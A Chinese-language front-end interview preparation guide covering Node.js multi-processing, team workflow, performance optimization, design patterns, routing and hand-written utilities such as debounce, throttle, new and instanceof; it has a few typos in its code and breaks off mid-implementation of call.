// setImmediate

# nodejs如何开启多进程,进程如何通讯

进程process和线程thread的区别

  • 进程,OS进行资源分配和调度的最小单位,有独立的内存空间
  • 线程,OS进程运算调度的最小单位,共享进程内存空间
  • JS是单线程的,但可以开启多进程执行,如WebWorker

为何需要多进程

  • 多核CPU,更适合处理多进程
  • 内存较大,多个进程才能更好利用(单进程有内存上限)
  • 总之,压榨机器资源,更快、更节省

如何开启多进程

  • 开启子进程 child_process.forkcluster.fork
    • child_process.fork用于单个计算量较大的计算
    • cluster用于开启多个进程,多个服务
  • 使用sendon传递消息

使用child_process.fork方式

const http = require('http')
const fork = require('child_process').fork

const server = http.createServer((req, res) => {
  if (req.url === '/get-sum') {
    console.info('主进程 id', process.pid)

    // 开启子进程 计算结果返回
    const computeProcess = fork('./compute.js')
    computeProcess.send('开始计算') // 发送消息给子进程开始计算,在子进程中接收消息调用计算逻辑,计算完成后发送消息给主进程

    computeProcess.on('message', data => {
      console.info('主进程接收到的信息:', data)
      res.end('sum is ' + data)
    })

    computeProcess.on('close', () => {
      console.info('子进程因报错而退出')
      computeProcess.kill() // 关闭子进程
      res.end('error')
    })
  }
})
server.listen(3000, () => {
  console.info('localhost: 3000')
})
// compute.js

/**
 * @description 子进程,计算
 */

function getSum() {
  let sum = 0
  for (let i = 0; i < 10000; i++) {
    sum += i
  }
  return sum
}

process.on('message', data => {
  console.log('子进程 id', process.pid)
  console.log('子进程接收到的信息: ', data)

  const sum = getSum()

  // 发送消息给主进程
  process.send(sum)
})

使用cluster方式

const http = require('http')
const cpuCoreLength = require('os').cpus().length
const cluster = require('cluster')

// 主进程
if (cluster.isMaster) {
    for (let i = 0; i < cpuCoreLength; i++) {
      cluster.fork() // 根据核数 开启子进程
    }

    cluster.on('exit', worker => {
      console.log('子进程退出')
      cluster.fork() // 进程守护
    })
} else {
  // 多个子进程会共享一个 TCP 连接,提供一份网络服务
  const server = http.createServer((req, res) => {
    res.writeHead(200)
    res.end('done')
  })
  server.listen(3000)
}


// 工作中 使用PM2开启进程守护更方便

# 11 综合题目

# 你们的工作流程是怎么样的

流程图

下图是完整的大厂前端项目研发流程图

项目角色

  • 项目委员会:这是一个很虚的角色,即能确定项目是否要做的那帮人,有时候可能就是一个高级经理就能拍板确定。和我们实际开发没啥关系,不用去关心他。
  • PM:产品经理,也是一个项目的推动者,即兼职项目经理的角色。
  • UE:交互设计师,负责页面布局、交互的设计,不负责视图的细节。
  • UI:视觉设计师,交互确定之后,设计页面样式。注意,很多情况下,UEUI 是一个人。
  • RD:后端开发人员。
  • CRD:客户端开发人员,安卓和 ios 都是。
  • FE:前端开发人员。
  • QA:测试人员。
  • OP:服务器运维人员,一般负责审批上线单

主要流程

项目立项

  • 主要是各个部门的 leader 确定项目要做了,就是“拍板儿”确定。此时不需要工程师参与,因为决定权在于他们。项目立项时没有任何详细的信息,如需求、设计图等,都要后面继续做。
  • 编写需求和需求评审
    • PM 根据项目的背景和目标,编写需求文档,画原型图(不是 UI 设计图),然后叫各个角色开会评审。
    • 你如果作为 FE 角色去参与评审,要积极提出自己的问题和建议。需求评审不一定一次通过。
    • 如果此时 PM 跟你要工作排期,你不要立即回复。回去跟你的 leader 商量之后,给一个谨慎的排期。
  • 编写技术方案
    • 需求指导设计,设计指导开发。先做技术方案设计,写文档,待评审之后再开发。
  • 技术方案评审
    • 技术方案写完之后,要叫 leader ,以及其他技术角色人员一起评审。
      • 第一,和其他技术人员确定接口格式,是否都能认同
      • 第二,让 leader 或者架构师确定这个设计有没有漏洞、安全问题等
  • 交互视觉设计和评审
    • 需求评审通过之后,UEUI 就开始出设计稿。做完设计稿之后,会叫相关开发人员参与评审。和需求评审一样,你要提出自己的问题和建议。
  • 开发
    • 上述评审都结束之后,才可以进入开发阶段。开发时要注意开发规范,及时 code review,写单元测试。
  • 视觉联调
    • 网页界面开发完成之后,要找 UI 人员来视觉联调,让他们确认是否可以。如果不可以,就直接修改,直到评审通过。
    • 这一步要尽早执行,不要等待临上线了,再去调整 UI 界面。
  • 程序联调
    • 代码功能开发完之后,要和其他相关技术人员(RDCRD)进行接口联调。就是在开发环境下,先把系统对接起来,看看会不会出错。
    • 注意,接口联调不是测试,不用太过于项目,能把最基本的功能跑通即可。
  • 自测
    • 对于自己开发的功能,一定要自己按照需求测试一遍。不要求测试的很详细,至少也把基本功能跑通。
    • 这一步是为了防止提测之后被 QA 发现基本功能不可用,就很尴尬。人家会觉得你不靠谱。
  • 提测
    • 自测完成之后,即可把代码提测给 QA 。这一步很关键,要发邮件,抄送给项目组的相关成员。
  • 测试
    • QA 进行详细的功能测试。测试期间会有 bug 反馈,要及时修复 bug ,并及时让 QA 回归测试。
    • 测试期间要积极和 QA 沟通,最好每天都开一个站会。
  • 上线 & 回归测试
    • QA 测试完成会发邮件全体通报测试通过,测试就可以准备上线。
    • 上线之后要及时和 QA 组织回归测试,待回归测试完成之后才可以通知:上线完成
  • 项目总结(可选)
    • 回顾一下经过,总结一下得失,积累一点经验,这样才能慢慢成长

# 工作中遇到过哪些项目难点,是如何解决的

遇到问题要注意积累

  • 每个人都会遇到问题,总有几个问题让你头疼
  • 日常要注意积累,解决了问题要自己写文章复盘

如果之前没有积累

  • 回顾一下半年之内遇到的难题
  • 思考当时解决方案,以及解决之后的效果
  • 写一篇文章记录一下,答案就有了

答案模板

  • 描述问题:背景 + 现象 + 造成的影响
  • 问题如何被解决:分析 + 解决
  • 自己的成长:学到了什么 + 以后如何避免

一个示例

  • 问题:编辑器只能回显JSON格式的数据,而不支持老版本的HTML格式
  • 解决:将老版本的HTML反解析成JSON格式即可解决
  • 成长:要考虑完整的输入输出 + 考虑旧版本用户 + 参考其他产品

# 前端性能优化

前言

  • 是一个综合性问题,没有标准答案,但要求尽量全面
  • 某些细节可能会问:防抖、节流等

性能优化原则

  • 多使用内存、缓存或其他方法
  • 减少CPU计算量,减少网络加载耗时

从何入手

  • 让加载更快
    • 减少资源体积:压缩代码
    • 减少访问次数:合并代码,SSR服务端渲染,缓存
      • SSR
        • 服务端渲染:将网页和数据一起加载,一起渲染
        • SSR模式(前后端分离):先加载网页,在加载数据,在渲染数据
      • 缓存
        • 静态资源加hash后缀,根据文件内容计算hash
        • 文件内容不变,则hash不变,则url不变
        • url和文件不变,则会自动触发http缓存机制,返回304
    • 减少请求时间:DNS预解析,CDNHTTP2
      • DNS预解析
        • DNS解析:将域名解析为IP地址
        • DNS预解析:提前解析域名,将域名解析为IP地址
        • DNS预解析的方式:<link rel="dns-prefetch" href="//www.baidu.com">
      • CDN
        • CDN:内容分发网络,将资源分发到离用户最近的服务器上
        • CDN的优点:加快资源加载速度,减少服务器压力
        • CDN的缺点:增加了网络延迟,增加了服务器成本
      • HTTP2
        • HTTP2HTTP协议的下一代版本
        • HTTP2的优点:多路复用,二进制分帧,头部压缩,服务器推送
  • 让渲染更快
    • CSS放在headJS放在body下面
    • 尽早开始执行JS,用DOMContentLoaded触发
    window.addEventListener('load',function() {
      // 页面的全部资源加载完才会执行,包括图片、视频等
    })
    window.addEventListener('DOMContentLoaded',function() {
      // DOM渲染完才执行,此时图片、视频等可能还没有加载完
    })
    
    • 懒加载(图片懒加载,上滑加载更多)
    • DOM查询进行缓存
    • 频繁DOM操作,合并到一起插入到DOM结构
    • 节流、防抖,让渲染更流畅
      • 防抖
        • 防抖动是将多次执行变为最后一次执行
        • 适用于:inputclick
        const input = document.getElementById('input')
        // 防抖
        function debounce(fn, delay = 500) {
          // timer 是闭包中的
          let timer = null
          // 这里返回的函数是每次用户实际调用的防抖函数
          // 如果已经设定过定时器了就清空上一次的定时器
          // 开始一个新的定时器,延迟执行用户传入的方法
          return function () {
            if (timer) {
              clearTimeout(timer)
            }
            timer = setTimeout(() => {
              fn.apply(this, arguments)
              timer = null
            }, delay)
          }
        }
        input.addEventListener('keyup', debounce(function (e) {
          console.log(e.target)
          console.log(input.value)
        }, 600))
        
      • 节流
        • 节流是将多次执行变成每隔一段时间执行
        • 适用于:resizescrollmousemove
        const div = document.getElementById('div')
        // 节流
        function throttle(fn, delay = 100) {
          let timer = null
        
          return function () {
            if (timer) { // 当前有任务了,直接返回
              return
            }
            timer = setTimeout(() => {
              fn.apply(this, arguments)
              timer = null
            }, delay)
          }
        }
        // 拖拽
        div.addEventListener('drag', throttle(function (e) {
            console.log(e.offsetX, e.offsetY)
        }))
        

# 前端常用的设计模式和使用场景

  • 工厂模式
    • 用一个工厂函数来创建实例,使用的时候隐藏new,可在工厂函数中使用newfunction factory(a,b,c) {return new Foo()}
    • jQuery$函数:$等于是在内部使用了new JQuery实例(用工厂函数$包裹了一下),可以直接使用$(div)
    • reactcreateElement
  • 单例模式
    • 全局唯一的实例(无法生成第二个)
    • VuexReduxstore
    • 如全局唯一的dialogmodal
    • 演示
      // 通过class实现单例构造器
      class Singleton {
        private static instance
        private contructor() {}
        public static getInstance() {
          if(!this.instance) {
            this.instance = new Singleton()
          }
          return this.instance
        },
        fn1() {}
        fn2() {}
      }
      
      // 通过闭包实现单例构造器
      const Singleton = (function () {
        // 隐藏Class的构造函数,避免多次实例化
        function FooService() {}
      
        // 未初始化的单例对象
        let fooService;
      
        return {
          // 创建/获取单例对象的函数
          // 通过暴露一个 getInstance() 方法来创建/获取唯一实例
          getInstance: function () {
            if (!fooService) {
              fooService = new FooService();
            }
            return fooService;
          }
        }
      })();
      // 使用
      const s1 = Singleton.getInstance()
      const s2 = Singleton.getInstance()
      // s1 === s2 // 都是同一个实例
      
  • 代理模式
    • 使用者不能直接访问对象,而是访问一个代理层
    • 在代理层可以监听get set做很多事
    • ES6 Proxy实现Vue3响应式
    var obj = new Proxy({},{
      get:function(target,key,receiver) {
        return Refect.get(target,key,receiver)
      },
      set:function(target,key,value,receiver) {
        return Refect.set(target,key,value,receiver)
      }
    })
    
  • 观察者模式
    • 观察者模式(基于发布订阅模式)有观察者,也有被观察者
    • 观察者需要放到被观察者中,被观察者的状态变化需要通知观察者 我变化了,内部也是基于发布订阅模式,收集观察者,状态变化后要主动通知观察者
    class Subject { // 被观察者 学生
      constructor(name) {
        this.state = 'happy'
        this.observers = []; // 存储所有的观察者
      }
      // 收集所有的观察者
      attach(o){ // Subject. prototype. attch
        this.observers.push(o)
      }
      // 更新被观察者 状态的方法
      setState(newState) {
        this.state = newState; // 更新状态
        // this 指被观察者 学生
        this.observers.forEach(o => o.update(this)) // 通知观察者 更新它们的状态
      }
    }
    
    class Observer{ // 观察者 父母和老师
      constructor(name) {
        this.name = name
      }
      update(student) {
        console.log('当前' + this.name + '被通知了', '当前学生的状态是' + student.state)
      }
    }
    
    let student = new Subject('学生'); 
    let parent = new Observer('父母'); 
    let teacher = new Observer('老师'); 
    
    // 被观察者存储观察者的前提,需要先接纳观察者
    student.attach(parent); 
    student.attach(teacher); 
    student.setState('被欺负了');
    
  • 发布订阅模式
    • 发布订阅者模式,一种对象间一对多的依赖关系,但一个对象的状态发生改变时,所依赖它的对象都将得到状态改变的通知。
    • 主要的作用(优点):
      • 广泛应用于异步编程中(替代了传递回调函数)
      • 对象之间松散耦合的编写代码
    • 缺点:
      • 创建订阅者本身要消耗一定的时间和内存
      • 多个发布者和订阅者嵌套一起的时候,程序难以跟踪维护
    • 发布订阅者模式和观察者模式的区别?
      • 发布/订阅模式是观察者模式的一种变形,两者区别在于,发布/订阅模式在观察者模式的基础上,在目标和观察者之间增加一个调度中心。
      • 观察者模式是由具体目标调度,比如当事件触发,Subject 就会去调用观察者的方法,所以观察者模式的订阅者与发布者之间是存在依赖的(互相认识的)。
      • 发布/订阅模式由统一调度中心调用,因此发布者和订阅者不需要知道对方的存在(publishersubscriber是不认识的,中间有个Event Channel隔起来了)
      • 总结一下:
        • 观察者模式:SubjectObserver直接绑定,没有中间媒介。如addEventListener直接绑定事件
        • 发布订阅模式:publishersubscriber互相不认识,需要有中间媒介Event Channel。如EventBus自定义事件
    • 实现的思路:
      • 创建一个对象(缓存列表)
      • on方法用来把回调函数fn都加到缓存列表中
      • emit 根据key值去执行对应缓存列表中的函数
      • off方法可以根据key值取消订阅
      class EventEmiter {
        constructor() {
          // 事件对象,存放订阅的名字和事件
          this._events = {}
        }
        // 订阅事件的方法
        on(eventName,callback) {
          if(!this._events) {
            this._events = {}
          }
          // 合并之前订阅的cb
          this._events[eventName] = [...(this._events[eventName] || []),callback]
        }
        // 触发事件的方法
        emit(eventName, ...args) {
          if(!this._events[eventName]) {
            return
          }
          // 遍历执行所有订阅的事件
          this._events[eventName].forEach(fn=>fn(...args))
        }
        off(eventName,cb) {
          if(!this._events[eventName]) {
            return
          }
          // 删除订阅的事件
          this._events[eventName] = this._events[eventName].filter(fn=>fn != cb && fn.l != cb)
        }
        // 绑定一次 触发后将绑定的移除掉 再次触发掉
        once(eventName,callback) {
          const one = (...args)=>{
            // 等callback执行完毕在删除
            callback(args)
            this.off(eventName,one)
          }
          one.l = callback // 自定义属性
          this.on(eventName,one)
        }
      }
      
      // 测试用例
      let event = new EventEmiter()
      
      let login1 = function(...args) {
        console.log('login success1', args)
      }
      let login2 = function(...args) {
        console.log('login success2', args)
      }
      // event.on('login',login1)
      event.once('login',login2)
      event.off('login',login1) // 解除订阅
      event.emit('login', 1,2,3,4,5)
      event.emit('login', 6,7,8,9)
      event.emit('login', 10,11,12)  
      
  • 装饰器模式
    • 原功能不变,增加一些新功能(AOP面向切面编程)
    • ESTSDecorator语法就是装饰器模式

经典设计模式有23 个,这是基于后端写的,前端不是都常用

# 如果一个H5很慢,如何排查性能问题

  • 通过前端性能指标分析
  • 通过Performancelighthouse分析
  • 持续跟进,持续优化

前端性能指标

  • FP(First Paint):首次绘制,即首次绘制任何内容到屏幕上
  • FCP(First Content Paint):首次内容绘制,即首次绘制非空白内容到屏幕上
  • FMP(First Meaning Paint):首次有意义绘制,即首次绘制有意义的内容到屏幕上-已弃用,改用LCP
    • FMP业务指标,没有统一标准
  • LCP(Largest Contentful Paint):最大内容绘制,即最大的内容绘制到屏幕上
  • TTI(Time to Interactive):可交互时间,即页面加载完成,可以进行交互的时间
  • TBT(Total Blocking Time):总阻塞时间,即页面加载过程中,主线程被占用的时间
  • CLS(Cumulative Layout Shift):累计布局偏移,即页面加载过程中,元素位置发生变化的程度
  • FCPLCPTTITBTCLS都是web-vitals库提供的指标
  • DCL(DOM Content Loaded)DOM加载完成,即页面DOM结构加载完成的时间
  • L(Load):页面完全加载完成的时间

通过Chrome Performance分析

打开浏览器无痕模式,点击Performance > ScreenShot

如果加载很快就会很快就到达FP,在分析FCP、LCP、DCL、L看渲染时间

国内访问GitHub可以看到加载到FP非常慢,但是渲染很快

network > show overview 查看每个资源的加载时间,或者从waterfall查看

使用lighthouse分析

# 通过node使用
npm i lighthouse -g

# 需要稍等一会就分析完毕输出报告
lighthouse https://baidu.com --view --preset=desktop

通过工具就可以识别到问题

  • 加载慢?
    • 优化服务器硬件配置,使用CDN
    • 路由懒加载,大组件异步加载--减少主包体积
    • 优化HTTP缓存策略
  • 渲染慢
    • 优化服务端接口(如Ajax获取数据慢)
    • 继续分析,优化前端组件内部逻辑(参考vuereact优化)
    • 服务端渲染SSR

性能优化是一个循序渐进的过程,不像bug一次解决。持续跟进统计结果,再逐步分析性能瓶颈,持续优化。可使用第三方统计服务,如百度统计

# 后端一次性返回十万条数据,你该如何渲染

  • 设计不合理
    • 后端返回十万条数据,本身技术方案设计就不合理(一般情况都是分页返回,返回十万条浏览器渲染是一个问题,十万条数据加载也需要一个过程)
    • 后端的问题,要用后端的思维去解决-中间层
  • 浏览器能否处理十万条数据?
    • 渲染到DOM上会非常卡顿
  • 方案1:自定义中间层
    • 自定义nodejs中间层,获取并拆分这十万条数据
    • 前端对接nodejs中间层,而不是服务端
    • 成本比较高
  • 方案2:虚拟列表
    • 只创建可视区的DOM(比如前十条数据),其他区域不显示,根据数据条数计算每条数据的高度,用div撑起高度
    • 随着浏览器的滚动,创建和销毁DOM
    • 虚拟列表实现起来非常复杂,工作中可使用第三方库(vue-virtual-scroll-listreact-virtualiszed
    • 虚拟列表只是无奈的选择,实现复杂效果而效果不一定好(低配手机)

# H5页面如何进行首屏优化

  • 路由懒加载
    • 适用于单页面应用
    • 路由拆分,优先保证首页加载
  • 服务端渲染SSR
    • SSR渲染页面过程简单,性能好
    • H5页面,SSR是性能优化的终极方案,但对服务器成本也高
  • 分页
    • 针对列表页,默认只展示第一页内容
    • 上划加载更多
  • 图片懒加载lazyLoad
    • 针对详情页,默认只展示文本内容,然后触发图片懒加载
    • 注意:提前设置图片尺寸,尽量只重绘不重排
  • Hybrid
    • 提前将HTML JS CSS下载到App内部,省去我们从网上下载静态资源的时间
    • App webview中使用file://协议加载页面文件
    • 再用Ajax获取内容并展示
  • 性能优化要配合分析、统计、评分等,做了事情要有结果有说服力
  • 性能优化也要配合体验,如骨架屏、loading动画等

图片懒加载演示

<head>
  <style>
    .item-container {
      border-top: 1px solid #ccc;
      margin-bottom: 30px;
    }
    .item-container img {
      width: 100%;
      border: 1px solid #eee;
      border-radius: 10px;
      overflow: hidden;
    }
  </style>
</head>
<body>
    <h1>img lazy load</h1>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal1.jpeg"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal2.webp"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal3.jpeg"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal4.webp"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal5.webp"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal6.webp"/>
    </div>

    <script src="https://cdn.bootcdn.net/ajax/libs/lodash.js/4.17.21/lodash.min.js"></script>
    <script>
      function mapImagesAndTryLoad() {
        const images = document.querySelectorAll('img[data-src]')
        if (images.length === 0) return

        images.forEach(img => {
            const rect = img.getBoundingClientRect()
            if (rect.top < window.innerHeight) {
              // 漏出来
              // console.info('loading img', img.dataset.src)
              img.src = img.dataset.src
              img.removeAttribute('data-src') // 移除 data-src 属性,为了下次执行时减少计算成本
            }
        })
      }

      window.addEventListener('scroll', _.throttle(() => {
        mapImagesAndTryLoad()
      }, 100))

      mapImagesAndTryLoad()
    </script>
</body>

# 请描述js-bridge的实现原理

什么是JS Bridge

  • JS无法直接调用native API
  • 需要通过一些特定的格式来调用
  • 这些格式就统称js-bridge,例如微信JSSKD

JS Bridge的常见实现方式

  • 注册全局API
  • URL Scheme(推荐)
<!-- <iframe id="iframe1"></iframe> -->

<script>
  // const version = window.getVersion() // 异步

  // const iframe1 = document.getElementById('iframe1')
  // iframe1.onload = () => {
  //     const content = iframe1.contentWindow.document.body.innerHTML
  //     console.info('content', content)
  // }
  // iframe1.src = 'my-app-name://api/getVersion' // app识别协议my-app-name://,在app内处理返回给webview,而不是直接发送网络请求
  // URL scheme

  // 使用iframe 封装 JS-bridge
  const sdk = {
    invoke(url, data = {}, onSuccess, onError) {
      const iframe = document.createElement('iframe')
      iframe.style.visibility = 'hidden' // 隐藏iframe
      document.body.appendChild(iframe)
      iframe.onload = () => {
        const content = iframe1.contentWindow.document.body.innerHTML
        onSuccess(JSON.parse(content))
        iframe.remove()
      }
      iframe.onerror = () => {
        onError()
        iframe.remove()
      }
      iframe.src = `my-app-name://${url}?data=${JSON.stringify(data)}`
    },
    fn1(data, onSuccess, onError) {
      this.invoke('api/fn1', data, onSuccess, onError)
    },
    fn2(data, onSuccess, onError) {
      this.invoke('api/fn2', data, onSuccess, onError)
    },
    fn3(data, onSuccess, onError) {
      this.invoke('api/fn3', data, onSuccess, onError)
    },
  }
</script>

# 从零搭建开发环境需要考虑什么

  • 代码仓库,发布到哪个npm仓库(如有需要)
  • 技术选型,VueReact
  • 代码目录规范
  • 打包构建webpack等,做打包优化
  • eslintprettiercommit-lint
  • pre-commit 提交前检查(在调用git commit 命令时自动执行某些脚本检测代码,若检测出错,则阻止commit代码,也就无法push
  • 单元测试
  • CI/CD流程(如搭建jenkins部署项目)
  • 开发环境、预发布环境
  • 编写开发文档

# 如果你是项目前端技术负责人,将如何做技术选型

  • 技术选型,选什么?
    • 前端框架(Vue React Nuxt.hs Next.js 或者nodejs框架)
    • 语言(JavaScriptTypescript
    • 其他(构建工具、CI/CD等)
  • 技术选型的依据
    • 社区是否足够成熟
    • 公司已经有了经验积累
    • 团队成员的学习成本
    • 要站在公司角度,而非个人角度
  • 要全面考虑各种成本
    • 学习成本
    • 管理成本(如用TS遍地都是any怎么办)
    • 运维成本(如用ssr技术)

# 高效的字符串前缀匹配如何做

  • 有一个英文单词库(数组),里面有几十个英文单词
  • 输入一个字符串,快速判断是不是某一个单词的前缀
  • 说明思路,不用写代码

思路分析

  • 常规思路
    • 遍历单词库数组
    • indexOf判断前缀
    • 实际复杂度超过了O(n),因为每一步遍历要考虑indexOf的计算量
  • 优化
    • 英文字母一共26个,可以提前把单词库数组拆分为26
    • 第一层拆分为26个,第二第三层也可以继续拆分
    • 最后把单词库拆分为一颗树
    • array拆分为{a:{r:{r:{a:{y:{}}}}}} 查询的时候这样查obj.a.r.r.a.y 时间复杂度就是O(1)
    • 转为为树的过程我们不用管,单词库更新频率一般都是很低的,我们执行一次提前转换好,通过哈希表(对象)查询key非常快
  • 性能分析
    • 如遍历数组,时间复杂度至少O(n)起步(n是数组长度)
    • 改为树,时间复杂度从大于O(n)降低到O(m)m是单词的长度)
    • 哈希表(对象)通过key查询,时间复杂度是O(1)

# 前端路由原理

hash的特点

  • hash变化会触发网页跳转,即浏览器的前进和后退
  • hash变化不会刷新页面,SPA必须的特点
  • hash永远不会提交到server
  • 通过onhashchange监听

H5 History

  • url规范的路由,但跳转时不刷新页面
  • 通过history.pushStatehistory.onpopstate监听
  • H5 History需要后端支持
    • 当我们进入到子路由时刷新页面,web容器没有相对应的页面此时会出现404
    • 所以我们只需要配置将任意页面都重定向到 index.html,把路由交由前端处理
    • nginx配置文件.conf修改,添加try_files $uri $uri/ /index.html;
    server {
      listen  80;
      server_name  www.xxx.com;
    
      location / {
        index  /data/dist/index.html;
        try_files $uri $uri/ /index.html;
      }
    }
    

两者选择

  • to B系统推荐使用hash,简单易用,对url规范不敏感
  • to C系统,可以考虑使用H5 History,但需要服务端支持
  • 能选择简单的,就别用复杂的,要考虑成本和收益
// hash 变化,包括:
// a. JS 修改 url
// b. 手动修改 url 的 hash
// c. 浏览器前进、后退
window.onhashchange = (event) => {
    console.log('old url', event.oldURL)
    console.log('new url', event.newURL)

    console.log('hash:', location.hash)
}

// 页面初次加载,获取 hash
document.addEventListener('DOMContentLoaded', () => {
    console.log('hash:', location.hash)
})

// JS 修改 url
document.getElementById('btn1').addEventListener('click', () => {
    location.href = '#/user'
})
// history API

// 页面初次加载,获取 path
document.addEventListener('DOMContentLoaded', () => {
    console.log('load', location.pathname)
})

// 打开一个新的路由
// 【注意】用 pushState 方式,浏览器不会刷新页面
document.getElementById('btn1').addEventListener('click', () => {
    const state = { name: 'page1' }
    console.log('切换路由到', 'page1')
    history.pushState(state, '', 'page1') // 重要!!
})

// 监听浏览器前进、后退
window.onpopstate = (event) => { // 重要!!
    console.log('onpopstate', event.state, location.pathname)
}

// 需要 server 端配合,可参考
// https://router.vuejs.org/zh/guide/essentials/history-mode.html#%E5%90%8E%E7%AB%AF%E9%85%8D%E7%BD%AE%E4%BE%8B%E5%AD%90

# 12 手写题

# 防抖

防抖函数原理:把触发非常频繁的事件合并成一次去执行 在指定时间内只执行一次回调函数,如果在指定的时间内又触发了该事件,则回调函数的执行时间会基于此刻重新开始计算

防抖动和节流本质是不一样的。防抖动是将多次执行变为最后一次执行,节流是将多次执行变成每隔一段时间执行

eg. 像百度搜索,就应该用防抖,当我连续不断输入时,不会发送请求;当我一段时间内不输入了,才会发送一次请求;如果小于这段时间继续输入的话,时间会重新计算,也不会发送请求。

手写简化版:

// func是用户传入需要防抖的函数
// wait是等待时间
const debounce = (func, wait = 50) => {
  // 缓存一个定时器id
  let timer = 0
  // 这里返回的函数是每次用户实际调用的防抖函数
  // 如果已经设定过定时器了就清空上一次的定时器
  // 开始一个新的定时器,延迟执行用户传入的方法
  return function(...args) {
    if (timer) clearTimeout(timer)
    timer = setTimeout(() => {
      func.apply(this, args)
    }, wait)
  }
}

适用场景:

  • 文本输入的验证,连续输入文字后发送 AJAX 请求进行验证,验证一次就好
  • 按钮提交场景:防止多次提交按钮,只执行最后提交的一次
  • 服务端验证场景:表单验证需要服务端配合,只执行一段连续的输入事件的最后一次,还有搜索联想词功能类似

# 节流

节流函数原理:指频繁触发事件时,只会在指定的时间段内执行事件回调,即触发事件间隔大于等于指定的时间才会执行回调函数。总结起来就是:事件,按照一段时间的间隔来进行触发

像dom的拖拽,如果用消抖的话,就会出现卡顿的感觉,因为只在停止的时候执行了一次,这个时候就应该用节流,在一定时间内多次执行,会流畅很多

手写简版

使用时间戳的节流函数会在第一次触发事件时立即执行,以后每过 wait 秒之后才执行一次,并且最后一次触发事件不会被执行

时间戳方式:

// func是用户传入需要防抖的函数
// wait是等待时间
const throttle = (func, wait = 50) => {
  // 上一次执行该函数的时间
  let lastTime = 0
  return function(...args) {
    // 当前时间
    let now = +new Date()
    // 将当前时间和上一次执行函数时间对比
    // 如果差值大于设置的等待时间就执行函数
    if (now - lastTime > wait) {
      lastTime = now
      func.apply(this, args)
    }
  }
}

setInterval(
  throttle(() => {
    console.log(1)
  }, 500),
  1
)

定时器方式:

使用定时器的节流函数在第一次触发时不会执行,而是在 delay 秒之后才执行,当最后一次停止触发后,还会再执行一次函数

function throttle(func, delay){
  var timer = 0;
  return function(){
    var context = this;
    var args = arguments;
    if(timer) return // 当前有任务了,直接返回
    timer = setTimeout(function(){
      func.apply(context, args);
      timer = 0;
    },delay);
  }
}

适用场景:

  • 拖拽场景:固定时间内只执行一次,防止超高频次触发位置变动。DOM 元素的拖拽功能实现(mousemove
  • 缩放场景:监控浏览器resize
  • 滚动场景:监听滚动scroll事件判断是否到页面底部自动加载更多
  • 动画场景:避免短时间内多次触发动画引起性能问题

总结

  • 函数防抖限制执行次数,多次密集的触发只执行一次
    • 将几次操作合并为一次操作进行。原理是维护一个计时器,规定在delay时间后触发函数,但是在delay时间内再次触发的话,就会取消之前的计时器而重新设置。这样一来,只有最后一次操作能被触发。
  • 函数节流限制执行的频率,按照一定的时间间隔有节奏的执行
    • 使得一定时间内只触发一次函数。原理是通过判断是否到达一定时间来触发函数。

# New的过程

new操作符做了这些事:

  • 创建一个全新的对象obj,继承构造函数的原型:这个对象的__proto__要指向构造函数的原型prototype
  • 执行构造函数,使用 call/apply 改变 this 的指向(将obj作为this
  • 返回值为object类型则作为new方法的返回值返回,否则返回上述全新对象obj
function myNew(constructor, ...args) {
  // 1. 基于原型链 创建一个新对象,继承构造函数constructor的原型对象(Person.prototype)上的属性
  let newObj = Object.create(constructor.prototype);
  // 添加属性到新对象上 并获取obj函数的结果
  // 调用构造函数,将this调换为新对象,通过强行赋值的方式为新对象添加属性
  // 2. 将newObj作为this,执行 constructor ,传入参数
  let res = constructor.apply(newObj, args); // 改变this指向新创建的对象

  // 3. 如果函数的执行结果有返回值并且是一个对象, 返回执行的结果, 否则, 返回新创建的对象地址
  return typeof res === 'object' ? res: newObj;
}
// 用法
function Person(name, age) {
  this.name = name;
  this.age = age;

 // 如果构造函数内部,return 一个引用类型的对象,则整个构造函数失效,而是返回这个引用类型的对象,而不是返回this
  // 在实例中就没法获取Person原型上的getName方法
}
Person.prototype.say = function() {
  console.log(this.age);
};
let p1 = myNew(Person, "poety", 18);
console.log(p1.name);
console.log(p1);
p1.say();

# instanceOf原理

思路:

  • 步骤1:先取得当前类的原型,当前实例对象的原型链
  • ​步骤2:一直循环(执行原型链的查找机制)
    • 取得当前实例对象原型链的原型链(proto = proto.__proto__,沿着原型链一直向上查找)
    • 如果 当前实例的原型链__proto__上找到了当前类的原型prototype,则返回 true
    • 如果 一直找到Object.prototype.__proto__ == nullObject的基类(null)上面都没找到,则返回 false

// 实例.__ptoto__ === 构造函数.prototype
function _instanceof(instance, classOrFunc) {
    // 由于instance要检测的是某对象,需要有一个前置判断条件
    //基本数据类型直接返回false
    if(typeof instance !== 'object' || instance == null) return false;

    let proto = Object.getPrototypeOf(instance); // 等价于 instance.__ptoto__
    while(proto) { // 当proto == null时,说明已经找到了Object的基类null 退出循环
        // 实例的原型等于当前构造函数的原型
        if(proto == classOrFunc.prototype) return true;
        // 沿着原型链__ptoto__一层一层向上查
        proto = Object.getPrototypeof(proto); // 等价于 proto.__ptoto__
    }

    return false
}

console.log('test', _instanceof(null, Array)) // false
console.log('test', _instanceof([], Array)) // true
console.log('test', _instanceof('', Array)) // false
console.log('test', _instanceof({}, Object)) // true

# 实现call方法

call做了什么:

  • 将函数设为对象的属性
  • 执行和删除这个函数
  • 指定this到函数并传入给定参数执行函数
  • 如果不传入参数,默认指向 window

分析:如何在函数执行时绑定this

  • var obj = {x:100,fn() { this.x }}
  • 执行obj.fn() ,此时fn内部的this就指向了obj
  • 可借此来实现函数绑定this

原生callapply传入的this如果是值类型,会被new Object(如fn.call('abc')

//实现call方法

// 相当于在obj上调用fn方法,this指向obj 
// var obj = {fn: function(){console.log(this)}}
// obj.fn() fn内部的this指向obj
// call就是模拟了这个过程
// context 相当于obj

Function.prototype.myCall = function(context = window, ...args) {
  if (typeof context !== 'object') context = new Object(context) // 值类型,变为对象

  // args 传递过来的参数
  // this 表示调用call的函数fn
  // context 是call传入的this

  // 在context上加一个唯一值,不会出现属性名称的覆盖
  let fnKey = Symbol()
